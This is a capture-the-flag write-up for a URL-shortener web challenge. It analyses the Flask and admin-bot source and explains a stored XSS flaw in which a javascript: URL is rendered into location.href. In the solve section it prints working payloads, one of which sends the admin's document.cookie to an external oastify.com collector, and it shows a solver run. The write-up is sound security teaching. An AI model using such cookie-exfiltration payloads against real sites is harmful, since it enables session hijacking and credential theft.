Post

Oops

Oops

Challenge Description

Simple URL shortener. What could go wrong?

Source Code Analysis

app.py (Server)

  • http://web-oops-app:5000/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@app.route('/', methods=['GET', 'POST'])
def index():
    message = None
    shortened_url = None
    
    if request.method == 'POST':
        original_url = request.form['original_url']


        url = original_url.lower()
        while "script" in url:
            url = url.replace("script", "")
        
        # Generate unique short code
        while True:
            short_code = generate_short_code()
            conn = get_db_connection()
            existing = conn.execute('SELECT id FROM urls WHERE short_code = ?', 
                                  (short_code,)).fetchone()
            if not existing:
                break
            conn.close()
        
        # Save to database
        conn = get_db_connection()
        conn.execute('INSERT INTO urls (original_url, short_code) VALUES (?, ?)',
                    (original_url, short_code))
        conn.commit()
        conn.close()
        
        shortened_url = request.host_url + short_code
        message = "URL shortened successfully!"
    
    return render_template("index.html", 
                                message=message, 
                                shortened_url=shortened_url)
  1. Receives the specified URL.
  2. Generates a 6 character alphanumeric string (short_code).
  3. Checks db to see if the short_code already exists, if its unique, break out of the loop.
  4. Inserts the original URL and the alphanumeric string into the db.
  5. Returns request.host_url + short_code.

Not Vulnerable to SQLi

  • Parameterized queries are used.
  • User input is bound as data, not concatenated.

Issues with the Code

  1. No validation, the server does not validate whether original_url is a properly formatted URL.
  2. No sanitization, original_url is inserted into the database without sanitization.

1
2
3
4
5
6
7
8
9
10
@app.post('/report')
def report():
    submit_id = request.form["submit_id"]
    submit_id = submit_id.split("/")[-1]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ADMIN_HOST, ADMIN_PORT))
    s.sendall(submit_id.encode())
    s.close()
    return render_template("index.html", 
                                report_message="Reported successfully.")
  1. Connects to web-oops-admin:3000.
  2. Splits the specified URL and store the path into submit_id.
  3. Send submit_id to the admin server at web-oops-admin:3000.
  4. The logic of the admin server web-oops-admin:3000 is the next section (bot.js)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/<short_code>')
def redirect_url(short_code):
    conn = get_db_connection()
    url_data = conn.execute('SELECT original_url FROM urls WHERE short_code = ?', 
                           (short_code,)).fetchone()
    
    if url_data:
        # Increment click counter
        conn.execute('UPDATE urls SET clicks = clicks + 1 WHERE short_code = ?', 
                    (short_code,))
        conn.commit()
        conn.close()
        return render_template("redir.html", url=url_data["original_url"]), 200
    else:
        conn.close()
        return render_template("not_found.html"), 404
  1. Retrieves the original_url from the database based on the user-supplied short_code.
  2. Renders the redir.html template, passing the unvalidated and unsanitized original_url as a template variable url.
  3. Flask (Jinja2) escapes HTML characters by default when rendering in HTML.
1
2
3
4
<!-- redir.html -->
<script>
    location.href = ""
</script>

original_url is inserted inside <script> tags

Vulnerable to XSS, here’s why

  1. location.href can be used to execute JS. Refer to this.
  2. The original URL is not sanitized before it is inserted into the DB.
  3. The original URL is partially sanitized (Only HTML characters are escaped) by Jinja2 when rendering redir.html. Dangerous JS characters such as ` not escaped.

bot.js (Admin)

  • web-oops-admin:3000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const visitSubmission = async (id) => {
    if (!id.match(/^[0-9a-zA-Z]{6}$/)) {
        return
    }
    const browser = await getBrowser()
    const page = await browser.newPage()
    const hostname = new URL(BASE_URL).hostname
    await page.setCookie({
        name: 'admin_flag',
        value: FLAG,
        domain: hostname,
        path: '/',
        httpOnly: false,
        secure: false
    })
    try {
        await page.goto(BASE_URL + id, { waitUntil: 'networkidle2', timeout: 5000 })
    }
    catch (e) {
        console.log(e)
    }
    await page.close()
    returnBrowser(browser)
}
  1. Checks if the argument id is a 6-character alphanumeric string.
  2. Initializes browser and page
  3. Obtains hostname based on http://web-oops-app:5000/ -> web-oops-app
  4. Sets a cookie with attributes critical to whether it will be sent on page visits.
  5. Visits the page and sends cookie depending whether the website qualifies for the cookie to be sent.

Cookie Attribute Breakdown, Learn Here

  • domain: hostname -> domain: web-oops-app
    • Cookie will only be sent IF visiting website domain is web-oops-app, we can’t simply specify an arbitrary website for the bot to visit for e.g. x.oastify.com , otherwise the cookie will NOT be sent.
  • path: /
    • Cookie is sent for all paths (/ and anything under it).
  • httpOnly: false
    • Cookie can be accessed with JS, so we can do document.cookie.
  • secure: false
    • Cookie is sent even if visiting website is http
    • This is only allowed if SameSite=Lax/Strict.
  • SameSite: unset
    • Defaults to Lax.

1
2
3
4
5
6
const server = net.createServer((socket) => {
    socket.on('data', async (data) => {
        const id = data.toString()
        await visitSubmission(id)
    })
})
  • Starts a server to receive submit_id from /report and trigger visitSubmission(id).

TLDR

Admin Server (bot.js) Behavior:

  • bot.js script acts as an admin user, automatically visiting URLs reported through /report.
  • Based on the implementation, the admin bot will only visit
    • URLs hosted on http://web-oops-app:5000 AND
    • Paths that match a 6-character alphanumeric string ([0-9a-zA-Z]{6}).

URL Shortening and Redirection Logic:

  1. User submits a POST request to http://web-oops-app:5000/.

    1. The server generates a random 6-character alphanumeric short_code, maps it to the submitted original_url.
    2. Inserts the mapping into the database.
    3. Returns the shortened URL, http://challs2.nusgreyhats.org:33001/ZT1ETj.
  2. User visits the shortened URL

    1. The server retrieves the original_url associated with the short_code from the database.
    2. The server renders redir.html, injecting the original_url into (view snippet below)
    1
    2
    3
    
     <script>
         location.href = ""
     </script>
    

To solve:

  1. Submit an XSS payload javascript:alert(document.cookie) instead of a normal URL. The server generates a random 6-character alphanumeric short_code, maps it to the submitted original_url (xss payload), inserts the mapping into the database, and returns the shortened URL
    • The payload MUST NOT contain any HTML special characters (", <, >, &, ').
  2. Report the shortened URL via the /report endpoint.
  3. Admin visits the shortened URL because it complies with the restrictions http://web-opps-app:5000 and the path matches the expected 6-character alphanumeric format.
  4. Server retrieves the original_url associated with the short_code from the database and renders it into redir.html. Flask returns <script>location.href="<original_url>"</script>. In this case it will be <script>location.href="javacsript:alert(document.cookie)"</script>
  5. The XSS payload is executed when the admin loads the page.

Solve

  1. Verify that XSS is possible with an alert payload

    1
    
     original_url=javascript:alert(1)
    

  2. Visit the shortened URL

  3. Replace the alert with a payload to exfiltrate cookies and verify it locally before proceeding.

    1
    
     javascript:location.href=`https://k4psg6qqz7gqf2jspepvrpmgt7zynqlea.oastify.com/collect?c=${document.cookie}`
    

    Payload Worked !

    • It doesn’t use any HTML characters.
    • httpOnly: false, the cookie is accessible via document.cookie and can be exfiltrated.
    • We’re redirected to attacker’s server.
  4. Report the shortened URL.

  5. Admin visits the URL, XSS executes and redirects to the attacker’s site, appending the admin’s cookie as a GET parameter

  6. Solve

  7. Solver

    code

    1
    2
    3
    4
    
     ~/labs/greyctf2025/ezpz/oops
     venv3 ❯ python3 solve.py --url http://192.168.150.135:33001 --webhook_url https://1y09ank7toa79jd9jvjcl6gxnotfh7iv7.oastify.com
     [+] shortened_url: http://192.168.150.135:33001/d6jJkf
     [+] check collaborator for flag
    
This post is licensed under CC BY 4.0 by the author.